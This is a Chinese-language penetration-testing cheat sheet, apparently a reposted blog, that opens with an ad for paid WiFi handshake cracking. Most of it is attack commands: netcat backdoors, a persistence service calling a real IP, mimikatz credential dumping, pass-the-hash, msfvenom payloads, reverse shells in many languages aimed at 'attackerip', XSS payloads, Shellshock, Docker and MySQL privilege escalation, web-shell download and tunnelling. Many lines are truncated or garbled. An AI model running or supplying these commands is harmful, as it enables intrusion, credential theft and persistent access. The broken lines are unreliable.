超全渗透测试工具实战使用技巧合集

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip    //下载并解压压缩文件包
cd httprint_301/linux/          //切换到指定目录
./httprint -h http://IP -s signatures.txt     // -h指定网站链接 -s 指定一个包含http签名的文件,默认就是signatures.txt
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
c:> nc -l -p 31337     
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l  secret.txt
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com

c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80
 
nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535
-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv - 详细
xprobe2 -v -p tcp:80:open IP
nmblookup -A target     
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:nc.exe -e c:windowssystem32cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:tempprocdump.exe -accepteula -ma lsass.exe lsass.dmp 32位系统
C:tempprocdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64位系统
// 转发远程端口到目标地址
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
// https://www.offensive-security.com/metasploit-unleashed/portfwd/
// 转发远程端口到目标地址
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389
reg add "hklmsystemcurrentcontrolsetcontrolterminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
// 参考文章:https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
run getgui -u admin -p 1234
run vnc -p 5043
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full
//访问git项目
git clone https://github.com/byt3bl33d3r/pth-toolkit         
pth-winexe -U hash //IP cmd
或者
apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
或者
meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > s
hashcat -m 400 -a 0 hash /root/rockyou.txt
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888
fuser -nv tcp 80
fuser -k -n tcp 80
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
gcc -m32 -o output32 hello.c (32 位)
gcc -m64 -o output hello.c (64 位)
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E
或者
https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"
cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
msfvenom -p windows/meterpreter/reverse_tcp LHOST= X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b "x00" -a x86 --platform win -f c
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "x00x0ax0d" -a x86 --platform win -f c
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp -a x86 --platform win -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php n/' shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe
// 使用 uid 查找对应的程序
find / -uid 0 -perm -4000
// 查找哪里拥有写权限
find / -perm -o=w
// 查找名称中包含点和空格的文件
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print
// 查找不属于任何人的文件
find / -nouser
// 查找未链接的文件
lsof +L1
// 获取进程打开端口的信息
lsof -i
// 看看 ARP 表中是否有奇怪的东西
arp -a
// 查看所有账户
getent passwd
// 查看所有用户组
getent group
// 列举所有用户的 crontabs
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done
// 生成随机密码
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:?=’|fold -w 12| head -n 4
// 查找所有不可修改的文件
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’
// 使文件不可修改
chattr -i file
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "x00" -f c
COMMONLY USED BAD CHARACTERS:
x00x0ax0dx20                              For http request
x00x0ax0dx20x1ax2cx2e3ax5c           Ending with (0nr_)
// 常用命令:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )
!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh
!mona config -set workingfolder C:Mona%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "x00x0a"
!mona pc 5000
!mona po EIP
!mona sugg
//  参考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="xebx06x90x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
// 参考文章:https://en.wikipedia.org/wiki/Return-oriented_programming
// 参考文章:https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
// 参考文章:https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "x00x09x0a"
!mona rop -m *.dll -cpb "x00x09x0a" (auto suggest
// 参考文章:https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noasl
// https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
!mona jmp -r esp
!mona egg -t lxxl
xebxc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'
// 设置断点
break *_start
// 执行下一个命令
next
step
n
s
// 继续执行
continue
c
// 数据
checking 'REGISTERS' and 'MEMORY'
// 显示寄存器的值: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)
// 显示特定内存地址的值
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 
bash -i >& /dev/tcp/X.X.X.X/443 0>&1
exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0
0<&196;exec 196/dev/tcp/attackerip/4444; sh &196 2>&196
0<&196;exec 196/dev/tcp/attackerip/4444; sh &196 2>&196
exec 5/dev/tcp/attackerip/4444 cat &5 >&5; done # or: while read line 0&5 >&5; done
exec 5/dev/tcp/attackerip/4444
cat &5 >&5; done # or:
while read line 0&5 >&5; done
/bin/bash -i > /dev/tcp/attackerip/8080 0&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'
// Win 平台
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
// Win 平台
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i &3 2>&3");'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/attackerip/443;cat &5 >&5; done"] as String[])
p.waitFor()
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443
// 如果 -e 参数被禁用,可以尝试以下命令
// mknod backpipe p && nc attackerip 443 0backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/
// 如果你安装错了 netcat 的版本,请尝试以下命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/
// 如果 netcat 不可用或者 /dev/tcp
mknod backpipe p && telnet attackerip 443 0backpipe
// http://baike.baidu.com/view/418628.htm
// 开启 X 服务器 (:1 – 监听 TCP 端口 6001)
apt-get install xnest
Xnest :1
// 记得授权来自目标 IP 的连接
xterm -display 127.0.0.1:1
// 授权访问
xhost +targetip
// 在目标机器上连接回我们的 X 服务器
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xte
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(" src=http://IP:PORT ")
document.location=http://IP:PORT
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//–>">'>alert(String.fromCharCode(88,83,83))
";!–"=&amp;{()}
hashcat破解教程
alert("XSS")"">
hashcat破解教程
perl -e 'print "";' > out

(">< iframes http://google.com )


">alert(document.cookie)
%253cscript%253ealert(document.cookie)%253c/script%253e
">alert(document.cookie)
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

59.SSH Over SCTP (使用 Socat)

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N

倍加强版。

官方网站:

安装及使用教程:

命令学习:

// 远端服务器
// 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22
// 本地端
// 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80
// 创建 socks 代理
// 替换 username 和 -p 的端口号
$ ssh -lusername localhost -D 8080 -p 1337
使用洋葱网络
// 安装服务
$ apt-get install tor torsocks
// 绑定 ssh 到 tor 服务端口 80
//  /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion
// ssh 客户端连接
$ apt-get install torsocks
$ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p

60.Metagoofil – 元数据收集工具

Metagoofil 是一款利用Google收集信息的工具。它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能

官网地址

拓展学习《metagoofil用法》:

$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

61.利用 Shellshock

一个发现并利用服务器 Shellshock 的工具

安装及使用:

$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
// 查看文件
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; echo $(</etc/passwd)rnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
// 绑定 shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 80
// 反弹 Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc 192.168.56.118 

62.获取 Docker 的 Root

// 获取  Docker 的 Root
// user 必须在 docker 用户组中
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)
ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test
ek@victum:~$ cat > Dockerfile
FROM debian:wheezy
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR
<< EOF
ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root
ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/

63.使用 DNS 隧道绕过防火墙

// 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查
// dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序
// 服务器 (攻击者)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059
// 客户机 (目标)
// https://downloads.skullsecurity.org/dnscat2/
// https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip

64.编译 Assemble 代码

$ nasm -f elf32 simple32.asm -o simple32.o
$ ld -m elf_i386 simple32.o simple32
$ nasm -f elf64 simple.asm -o simple.o
$ ld simple.o -o simple

65.使用非交互 Shell 打入内网

// 生成 shell 使用的 ssh 密钥
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"
// 增加用户 tempuser 
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh
// 反弹 ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@

66.利用 POST 远程命令执行获取 Shell

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'
attacker:~$ curl http://victum.tk/shell.php?cmd=id
// 在服务器上下载 shell (phpshell.php)
http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27
// 运行 nc 并执行 phpshell.php
attacker:~$ nc -nvlp 

67.MS08-067 – 不使用 Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

68.通过 MySQL Root 账户实现提权

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)

69.使用 LD_PRELOAD 注入程序

拓展学习《【Linux】LD_PRELOAD用法》:

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

70.针对 OpenSSH 用户进行枚举时序攻击

枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。

osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。

// 项目地址:https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

71.使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道

ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

项目地址:

// 步骤 1
// 上传 reDuh.jsp 目标服务器
$ http://192.168.10.50/uploads/reDuh.jsp
// 步骤 2
// 在本机运行 reDuhClient 
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
// 步骤 3
// 使用 nc 连接管理端口
$ nc -nvv 127.0.0.1 1010
// 步骤 4
// 使用隧道转发本地端口到远程目标端口
[createTunnel] 7777:172.16.0.4:3389
// 步骤 5
// 使用 RDP 连接远程
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7

赞(0)